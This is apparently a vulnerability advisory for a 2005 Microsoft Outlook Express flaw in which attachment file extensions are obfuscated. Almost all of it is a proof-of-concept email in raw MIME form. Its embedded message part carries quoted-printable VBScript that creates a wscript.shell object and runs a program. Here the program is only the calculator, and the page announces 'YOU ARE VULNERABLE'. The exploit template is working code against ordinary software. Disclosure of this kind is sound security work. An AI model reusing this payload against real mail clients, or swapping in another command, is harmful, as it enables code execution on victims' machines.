Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

Microsoft Outlook Express Attachment Processing File Extension Obfuscation Vulnerability

The following proof of concept is available:

===>>> PoC - Start <<<===
From:"Benjamin Tobias Franz"<0-1-2-3@gmx.de>
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary="btf"

--btf
Content-Type: text/plain;

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.

Regards,

Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable


<title>YOU ARE VULNERABLE</title>
<script language=3Dvbscript>set btf=3Dcreateobject("wscript.shell")=
:btf.run("calc")</script><body style=3D"background-color:red;font-si=
ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br>
Benjamin Tobias Franz<br>Germany</body>
--btf--

===>>> PoC - End <<<===